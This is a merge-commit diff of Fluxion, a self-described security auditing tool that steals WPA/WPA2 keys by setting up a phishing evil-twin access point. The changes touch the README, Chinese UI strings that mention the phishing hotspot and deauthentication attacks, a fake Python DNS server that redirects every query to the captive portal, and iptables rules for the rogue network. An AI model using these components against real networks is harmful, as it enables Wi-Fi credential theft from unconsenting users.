Merge remote-tracking branch 'origin/master' into resumable-attacks
This commit is contained in:
commit
a95b67efd9
|
@ -2,7 +2,7 @@
|
||||||
<!--
|
<!--
|
||||||
Note: All issues will instant closed if the issue template is not complete. Please understand that it is easier for us if you fill out the template to help you faster.
|
Note: All issues will instant closed if the issue template is not complete. Please understand that it is easier for us if you fill out the template to help you faster.
|
||||||
|
|
||||||
!All text inside \<\!-- \--\> is not seen for us so please remove the arrows.
|
!All text inside \<\!-- \--\> will be hidden from us so please remove the arrows in the statements below.
|
||||||
-->
|
-->
|
||||||
#### Read the [wiki](https://github.com/FluxionNetwork/fluxion/wiki)?
|
#### Read the [wiki](https://github.com/FluxionNetwork/fluxion/wiki)?
|
||||||
No*
|
No*
|
||||||
|
|
18
README.md
18
README.md
|
@ -3,7 +3,7 @@
|
||||||
# Fluxion is the future of MITM WPA attacks
|
# Fluxion is the future of MITM WPA attacks
|
||||||
Fluxion is a security auditing and social-engineering research tool. It is a remake of linset by vk496 with (hopefully) less bugs and more functionality. The script attempts to retrieve the WPA/WPA2 key from a target access point by means of a social engineering (phishing) attack. It's compatible with the latest release of Kali (rolling). Fluxion's attacks' setup is mostly manual, but experimental auto-mode handles some of the attacks' setup parameters. Read the [FAQ](https://github.com/FluxionNetwork/fluxion/wiki/FAQ) before requesting issues.
|
Fluxion is a security auditing and social-engineering research tool. It is a remake of linset by vk496 with (hopefully) less bugs and more functionality. The script attempts to retrieve the WPA/WPA2 key from a target access point by means of a social engineering (phishing) attack. It's compatible with the latest release of Kali (rolling). Fluxion's attacks' setup is mostly manual, but experimental auto-mode handles some of the attacks' setup parameters. Read the [FAQ](https://github.com/FluxionNetwork/fluxion/wiki/FAQ) before requesting issues.
|
||||||
|
|
||||||
If you need quick help, fluxion is also avaible on gitter. You can talk with us [here](https://gitter.im/FluxionNetwork/Lobby)
|
If you need quick help, fluxion is also avaible on gitter. You can talk with us on [Gitter](https://gitter.im/FluxionNetwork/Lobby) or on [Discord](https://discord.gg/G43gptk).
|
||||||
## Installation
|
## Installation
|
||||||
Read [here](https://github.com/FluxionNetwork/fluxion/wiki/Generate-ssh-keys) before you do the following steps.
|
Read [here](https://github.com/FluxionNetwork/fluxion/wiki/Generate-ssh-keys) before you do the following steps.
|
||||||
<br>
|
<br>
|
||||||
|
@ -20,6 +20,17 @@ cd fluxion
|
||||||
./fluxion.sh
|
./fluxion.sh
|
||||||
```
|
```
|
||||||
|
|
||||||
|
**Fluxion is also available in arch**
|
||||||
|
```
|
||||||
|
cd bin/arch
|
||||||
|
makepkg
|
||||||
|
```
|
||||||
|
|
||||||
|
or using the blackarch repo
|
||||||
|
```
|
||||||
|
pacman -S fluxion
|
||||||
|
```
|
||||||
|
|
||||||
## :scroll: Changelog
|
## :scroll: Changelog
|
||||||
Fluxion gets weekly updates with new features, improvements, and bugfixes.
|
Fluxion gets weekly updates with new features, improvements, and bugfixes.
|
||||||
Be sure to check out the [changelog here](https://github.com/FluxionNetwork/fluxion/commits/master).
|
Be sure to check out the [changelog here](https://github.com/FluxionNetwork/fluxion/commits/master).
|
||||||
|
@ -70,4 +81,7 @@ For development I use vim and tmux. Here are my [dotfiles](https://github.com/de
|
||||||
|
|
||||||
* Fluxion **DOES NOT WORK** on Linux Subsystem For Windows 10, because the subsystem doesn't allow access to network interfaces. Any Issue regarding the same would be **Closed Immediately**
|
* Fluxion **DOES NOT WORK** on Linux Subsystem For Windows 10, because the subsystem doesn't allow access to network interfaces. Any Issue regarding the same would be **Closed Immediately**
|
||||||
|
|
||||||
|
## Links
|
||||||
|
**Fluxion website:** https://fluxionnetwork.github.io/fluxion/ <br>
|
||||||
|
**Discord:** https://discordapp.com/invite/G43gptk <br>
|
||||||
|
**Gitter:** https://gitter.im/FluxionNetwork/Lobby <br>
|
||||||
|
|
|
@ -711,8 +711,12 @@ index-file.names = (
|
||||||
|
|
||||||
# Create a DNS service with python, forwarding all traffic to gateway.
|
# Create a DNS service with python, forwarding all traffic to gateway.
|
||||||
echo "\
|
echo "\
|
||||||
|
#!/usr/bin/env python2
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
import socket
|
import socket
|
||||||
|
|
||||||
|
|
||||||
class DNSQuery:
|
class DNSQuery:
|
||||||
def __init__(self, data):
|
def __init__(self, data):
|
||||||
self.data=data
|
self.data=data
|
||||||
|
@ -730,7 +734,7 @@ class DNSQuery:
|
||||||
def respuesta(self, ip):
|
def respuesta(self, ip):
|
||||||
packet=''
|
packet=''
|
||||||
if self.dominio:
|
if self.dominio:
|
||||||
packet+=self.data[:2] + \"\x81\x80\"
|
packet+=self.data[:2] + '\x81\x80'
|
||||||
packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'
|
packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'
|
||||||
packet+=self.data[12:]
|
packet+=self.data[12:]
|
||||||
packet+='\xc0\x0c'
|
packet+='\xc0\x0c'
|
||||||
|
@ -738,15 +742,16 @@ class DNSQuery:
|
||||||
packet+=str.join('', map(lambda x: chr(int(x)), ip.split('.')))
|
packet+=str.join('', map(lambda x: chr(int(x)), ip.split('.')))
|
||||||
return packet
|
return packet
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
ip='$CaptivePortalGatewayAddress'
|
ip='$CaptivePortalGatewayAddress'
|
||||||
print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip
|
print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip
|
||||||
|
|
||||||
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
udps.bind(('',53))
|
udps.bind((ip, 53))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
while 1:
|
while True:
|
||||||
data, addr = udps.recvfrom(1024)
|
data, addr = udps.recvfrom(1024)
|
||||||
p=DNSQuery(data)
|
p=DNSQuery(data)
|
||||||
udps.sendto(p.respuesta(ip), addr)
|
udps.sendto(p.respuesta(ip), addr)
|
||||||
|
@ -864,7 +869,7 @@ while [ \$AuthenticatorState = \"running\" ]; do
|
||||||
|
|
||||||
local -r staticSSID=$(printf "%q" "$FluxionTargetSSID" | sed -r 's/\\\ / /g' | sed -r "s/\\\'/\'/g")
|
local -r staticSSID=$(printf "%q" "$FluxionTargetSSID" | sed -r 's/\\\ / /g' | sed -r "s/\\\'/\'/g")
|
||||||
echo "
|
echo "
|
||||||
DHCPClients=($(nmap -PR -sn -n -oG - $CaptivePortalGatewayNetwork.100-110 2>&1 | grep Host))
|
readarray -t DHCPClients < <(nmap -PR -sn -n -oG - $CaptivePortalGatewayNetwork.100-110 2>&1 | grep Host)
|
||||||
|
|
||||||
echo
|
echo
|
||||||
echo -e \" ACCESS POINT:\"
|
echo -e \" ACCESS POINT:\"
|
||||||
|
@ -1090,8 +1095,7 @@ captive_portal_unset_routes() {
|
||||||
ip addr del $CaptivePortalGatewayAddress/24 dev $CaptivePortalAccessInterface 2>/dev/null
|
ip addr del $CaptivePortalGatewayAddress/24 dev $CaptivePortalAccessInterface 2>/dev/null
|
||||||
}
|
}
|
||||||
|
|
||||||
# Set up DHCP / WEB server
|
# Set up DHCP / WEB server / DNS Firewall
|
||||||
# Set up DHCP / WEB server
|
|
||||||
captive_portal_set_routes() {
|
captive_portal_set_routes() {
|
||||||
# Give an address to the gateway interface in the rogue network.
|
# Give an address to the gateway interface in the rogue network.
|
||||||
# This makes the interface accessible from the rogue network.
|
# This makes the interface accessible from the rogue network.
|
||||||
|
@ -1107,15 +1111,10 @@ captive_portal_set_routes() {
|
||||||
iptables --table nat --flush
|
iptables --table nat --flush
|
||||||
iptables --delete-chain
|
iptables --delete-chain
|
||||||
iptables --table nat --delete-chain
|
iptables --table nat --delete-chain
|
||||||
iptables -P FORWARD ACCEPT
|
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
|
||||||
|
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
|
||||||
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT \
|
iptables -A INPUT -p udp --dport 53 -j ACCEPT
|
||||||
--to-destination $CaptivePortalGatewayAddress:80
|
iptables -A INPUT -p udp --dport 67 -j ACCEPT
|
||||||
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT \
|
|
||||||
--to-destination $CaptivePortalGatewayAddress:443
|
|
||||||
iptables -A INPUT -p tcp --sport 443 -j ACCEPT
|
|
||||||
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
|
|
||||||
iptables -t nat -A POSTROUTING -j MASQUERADE
|
|
||||||
}
|
}
|
||||||
|
|
||||||
captive_portal_stop_interface() {
|
captive_portal_stop_interface() {
|
||||||
|
|
|
@ -3,10 +3,10 @@
|
||||||
# description: 创建一个“邪恶的双胞胎”接入点。
|
# description: 创建一个“邪恶的双胞胎”接入点。
|
||||||
|
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
CaptivePortalInterfaceQuery="Select an interface for the captive portal."
|
CaptivePortalInterfaceQuery="为捕获的握手包文件选择一个网络功击接口"
|
||||||
CaptivePortalStartingInterfaceNotice="Starting captive portal interface..."
|
CaptivePortalStartingInterfaceNotice="启动握手包文件网络功击接口"
|
||||||
CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!"
|
CaptivePortalCannotStartInterfaceError="${CRed}无法启动网络功击接口$CClr, 返回"
|
||||||
CaptivePortalStartedInterfaceNotice="${CGrn}Success${CClr}, captive portal interface ready!"
|
CaptivePortalStartedInterfaceNotice="${CGrn}启动成功${CClr},网络功击接口准备就绪"
|
||||||
CaptivePortalStaringAPServiceNotice="开始建立钓鱼热点AP..."
|
CaptivePortalStaringAPServiceNotice="开始建立钓鱼热点AP..."
|
||||||
CaptivePortalStaringAPRoutesNotice="启动钓鱼热点AP路由服务..."
|
CaptivePortalStaringAPRoutesNotice="启动钓鱼热点AP路由服务..."
|
||||||
CaptivePortalStartingDHCPServiceNotice="启动接入点DHCP服务作为守护进程..."
|
CaptivePortalStartingDHCPServiceNotice="启动接入点DHCP服务作为守护进程..."
|
||||||
|
@ -24,9 +24,9 @@ CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)"
|
||||||
CaptivePortalUIQuery="选择钓鱼热点的认证网页界面"
|
CaptivePortalUIQuery="选择钓鱼热点的认证网页界面"
|
||||||
CaptivePortalGenericInterfaceOption="通用认证网页"
|
CaptivePortalGenericInterfaceOption="通用认证网页"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network."
|
CaptivePortalConnectivityQuery="为流氓网络选择Internet连接类型"
|
||||||
CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)"
|
CaptivePortalConnectivityDisconnectedOption="断开原网络 (${CGrn}推荐$CClr)"
|
||||||
CaptivePortalConnectivityEmulatedOption="emulated"
|
CaptivePortalConnectivityEmulatedOption="仿真"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
|
|
||||||
# FLUXSCRIPT END
|
# FLUXSCRIPT END
|
||||||
|
|
|
@ -8,14 +8,14 @@ HandshakeSnooperMonitorMethodOption="监听模式 (${CYel}被动$CClr)"
|
||||||
HandshakeSnooperAireplayMethodOption="aireplay-ng 解除认证方式 (${CRed}侵略性$CClr)"
|
HandshakeSnooperAireplayMethodOption="aireplay-ng 解除认证方式 (${CRed}侵略性$CClr)"
|
||||||
HandshakeSnooperMdk3MethodOption="mdk3 解除认证方式 (${CRed}侵略性$CClr)"
|
HandshakeSnooperMdk3MethodOption="mdk3 解除认证方式 (${CRed}侵略性$CClr)"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?"
|
HandshakeSnooperVerifierIntervalQuery="每隔多久检查一次握手包"
|
||||||
HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})."
|
HandshakeSnooperVerifierInterval30SOption="每30秒钟 (${CGrn}推荐${CClr})."
|
||||||
HandshakeSnooperVerifierInterval60SOption="Every 60 seconds."
|
HandshakeSnooperVerifierInterval60SOption="每60秒钟"
|
||||||
HandshakeSnooperVerifierInterval90SOption="Every 90 seconds."
|
HandshakeSnooperVerifierInterval90SOption="每90秒钟"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?"
|
HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?"
|
||||||
HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})."
|
HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})."
|
||||||
HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})."
|
HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}推荐${CClr})."
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running."
|
HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running."
|
||||||
HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HANDSHAKEVerifierInterval seconds."
|
HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HANDSHAKEVerifierInterval seconds."
|
||||||
|
|
|
@ -23,7 +23,7 @@ readonly FLUXIONNoiseFloor=-90
|
||||||
readonly FLUXIONNoiseCeiling=-60
|
readonly FLUXIONNoiseCeiling=-60
|
||||||
|
|
||||||
readonly FLUXIONVersion=4
|
readonly FLUXIONVersion=4
|
||||||
readonly FLUXIONRevision=4
|
readonly FLUXIONRevision=5
|
||||||
|
|
||||||
# Declare window ration bigger = smaller windows
|
# Declare window ration bigger = smaller windows
|
||||||
FLUXIONWindowRatio=4
|
FLUXIONWindowRatio=4
|
||||||
|
@ -164,7 +164,8 @@ fi
|
||||||
|
|
||||||
# FLUXIONDebug [Normal Mode "" / Developer Mode 1]
|
# FLUXIONDebug [Normal Mode "" / Developer Mode 1]
|
||||||
if [ $FLUXIONDebug ]; then
|
if [ $FLUXIONDebug ]; then
|
||||||
readonly FLUXIONOutputDevice="/dev/stdout"
|
touch /tmp/fluxion_debug_log
|
||||||
|
readonly FLUXIONOutputDevice="/tmp/fluxion_debug_log"
|
||||||
readonly FLUXIONHoldXterm="-hold"
|
readonly FLUXIONHoldXterm="-hold"
|
||||||
else
|
else
|
||||||
readonly FLUXIONOutputDevice="/dev/null"
|
readonly FLUXIONOutputDevice="/dev/null"
|
||||||
|
@ -466,6 +467,7 @@ fluxion_set_resolution() { # Windows + Resolution
|
||||||
SCREEN_SIZE_Y=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $2}'))
|
SCREEN_SIZE_Y=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $2}'))
|
||||||
|
|
||||||
# Calculate proportional windows
|
# Calculate proportional windows
|
||||||
|
if hash bc ;then
|
||||||
PROPOTION=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$SCREEN_SIZE_Y}")/1 | bc)
|
PROPOTION=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$SCREEN_SIZE_Y}")/1 | bc)
|
||||||
NEW_SCREEN_SIZE_X=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$FLUXIONWindowRatio}")/1 | bc)
|
NEW_SCREEN_SIZE_X=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$FLUXIONWindowRatio}")/1 | bc)
|
||||||
NEW_SCREEN_SIZE_Y=$(echo $(awk "BEGIN {print $SCREEN_SIZE_Y/$FLUXIONWindowRatio}")/1 | bc)
|
NEW_SCREEN_SIZE_Y=$(echo $(awk "BEGIN {print $SCREEN_SIZE_Y/$FLUXIONWindowRatio}")/1 | bc)
|
||||||
|
@ -493,6 +495,7 @@ fluxion_set_resolution() { # Windows + Resolution
|
||||||
# Big
|
# Big
|
||||||
TOPLEFTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y+0+0"
|
TOPLEFTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y+0+0"
|
||||||
TOPRIGHTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y-0+0"
|
TOPRIGHTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y-0+0"
|
||||||
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -10,18 +10,18 @@ FLUXIONFindingWINotice="寻找可用的USB外部网卡接口设备..."
|
||||||
FLUXIONSelectedBusyWIError="选择的USB外部网卡接口设备正在被调用!"
|
FLUXIONSelectedBusyWIError="选择的USB外部网卡接口设备正在被调用!"
|
||||||
FLUXIONSelectedBusyWITip="Run \"export FLUXIONWIKillProcesses=1\" before FLUXION to use it."
|
FLUXIONSelectedBusyWITip="Run \"export FLUXIONWIKillProcesses=1\" before FLUXION to use it."
|
||||||
FLUXIONGatheringWIInfoNotice="采集接口信息..."
|
FLUXIONGatheringWIInfoNotice="采集接口信息..."
|
||||||
FLUXIONUnknownWIDriverError="Unable to determine interface driver!"
|
FLUXIONUnknownWIDriverError="找不到网卡设备"
|
||||||
FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to unload..."
|
FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to unload..."
|
||||||
FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to load..."
|
FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to load..."
|
||||||
FLUXIONFindingConflictingProcessesNotice="自动查询干扰Fluxion运行的进程..."
|
FLUXIONFindingConflictingProcessesNotice="自动查询干扰Fluxion运行的进程..."
|
||||||
FLUXIONKillingConflictingProcessesNotice="结束干扰Fluxion运行的进程..."
|
FLUXIONKillingConflictingProcessesNotice="结束干扰Fluxion运行的进程..."
|
||||||
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!"
|
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!"
|
||||||
FLUXIONStartingWIMonitorNotice="启动监听模式..."
|
FLUXIONStartingWIMonitorNotice="启动监听模式..."
|
||||||
FLUXIONMonitorModeWIEnabledNotice="${CGrn}Interface monitor mode enabled."
|
FLUXIONMonitorModeWIEnabledNotice="${CGrn}监听模式启动成功"
|
||||||
FLUXIONMonitorModeWIFailedError="${CRed}Interface monitor mode failed!"
|
FLUXIONMonitorModeWIFailedError="${CRed}监听模式启动失败"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONStartingScannerNotice="启动扫描, 请稍等..."
|
FLUXIONStartingScannerNotice="启动扫描, 请稍等..."
|
||||||
FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner."
|
FLUXIONStartingScannerTip="目标AP出现后,按 Ctrl+C 关闭FLUXION扫描"
|
||||||
FLUXIONPreparingScannerResultsNotice="综合扫描的结果获取中,请稍等..."
|
FLUXIONPreparingScannerResultsNotice="综合扫描的结果获取中,请稍等..."
|
||||||
FLUXIONScannerFailedNotice="你的无线网卡好像不支持 (没有发现APs)"
|
FLUXIONScannerFailedNotice="你的无线网卡好像不支持 (没有发现APs)"
|
||||||
FLUXIONScannerDetectedNothingNotice="没有发现访问点, 请返回重试..."
|
FLUXIONScannerDetectedNothingNotice="没有发现访问点, 请返回重试..."
|
||||||
|
|
|
@ -190,6 +190,7 @@ function installer_utils_check_dependencies() {
|
||||||
# Parameters: $1 - CLI Tools missing array (will be installed) $2 - substitutes array
|
# Parameters: $1 - CLI Tools missing array (will be installed) $2 - substitutes array
|
||||||
function installer_utils_run_dependencies() {
|
function installer_utils_run_dependencies() {
|
||||||
if [ ! "$1" ]; then return 1; fi
|
if [ ! "$1" ]; then return 1; fi
|
||||||
|
ping -q -w 1 -c 1 8.8.8.8 > /dev/null || $(echo -e "\n[!] No internet connection found"; exit 1)
|
||||||
|
|
||||||
# The array below holds all the packages that will be installed.
|
# The array below holds all the packages that will be installed.
|
||||||
local __installer_utils_run_dependencies__dependenciesInfo=("${!1}")
|
local __installer_utils_run_dependencies__dependenciesInfo=("${!1}")
|
||||||
|
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -20,10 +20,10 @@ if [ ! "$1" ]; then
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo "$HEADER_SIZE FLUXION Info"
|
echo "$HEADER_SIZE FLUXION Info"
|
||||||
if [ -f "fluxion" ];then
|
if [ -f "fluxion.sh" ];then
|
||||||
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion))
|
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion.sh))
|
||||||
else
|
else
|
||||||
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion))
|
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion.sh))
|
||||||
fi
|
fi
|
||||||
echo "FLUXION V${FLUXIONInfo[0]/*=/}.${FLUXIONInfo[1]/*=/}"
|
echo "FLUXION V${FLUXIONInfo[0]/*=/}.${FLUXIONInfo[1]/*=/}"
|
||||||
echo -ne "\n\n"
|
echo -ne "\n\n"
|
||||||
|
|
Loading…
Reference in New Issue